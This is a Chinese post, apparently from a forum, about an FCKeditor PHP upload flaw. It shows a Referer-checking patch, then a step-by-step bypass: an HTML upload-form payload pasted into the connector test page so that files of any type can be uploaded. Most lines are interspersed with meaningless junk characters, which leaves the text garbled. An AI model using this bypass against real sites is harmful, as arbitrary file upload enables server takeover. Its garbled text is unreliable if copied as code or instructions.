漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php4 L3 f( ~- y8 A) s- O! q% @
网上给出的修复方案是- d% ~& ?2 ?9 {: f. D/ p4 \
修复方法,删除FCK编辑器用其他的编辑器
% Y& _ c; p; g" r- v& R或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件0 E$ M# E3 ?& W/ K
在# R) C" | d u2 C' p
require(‘config.php’);4 g) Z# r; N: n: G! |8 m
require(‘util.php’);, g- t( R9 Y$ s0 H |' d# h7 o. p
的下面添加以下代码—————————–
/ _. y( q5 O# s( c* |" k//防止外部提交
" j0 N. U* `: Ufunction outsidepost()
; K0 F# n" Q0 X$ W U; X{ J$ x8 w: f. o2 B$ ?2 c% o2 v
$servername=$_SERVER['SERVER_NAME'];
7 P9 k0 k9 f0 ]# k7 p# s$sub_from=@$_SERVER['HTTP_REFERER'];$ f, r# B0 p# |- j, `: J6 ? {- T
$sub_len=strlen($servername);) I3 k+ t7 J0 A* I- d: Q
$checkfrom=substr($sub_from,7,$sub_len);
, e6 F! o$ F$ j: p1 a# {, Fif($checkfrom!=$servername){7 C7 @9 y Y4 K/ H; L5 c6 G( m
echo(“you don’t outsidepost!”);7 [, @( C9 i' |5 @/ t
exit;1 {3 B" J/ C! X u
}4 Y8 _: ]9 M2 x" s
}
% v/ z% b) H* r xoutsidepost();/ r/ t3 D* t' w4 U
防止外部提交,但是没有防止内部提交,; i) Q0 O0 r4 b1 Y$ B8 ~) J* O- H
利用方法:
, B$ T# {0 U, m' \. X9 y. ]' u1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html3 w7 ^9 U. d) L- ^
2,在Current Folder 框输入5 I2 B" q! b5 w9 a% B; A: T3 l
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
, V/ l' I7 C% `+ u, m+ R然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
; |$ N- q6 ]8 t- K! R( o' D7 [PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |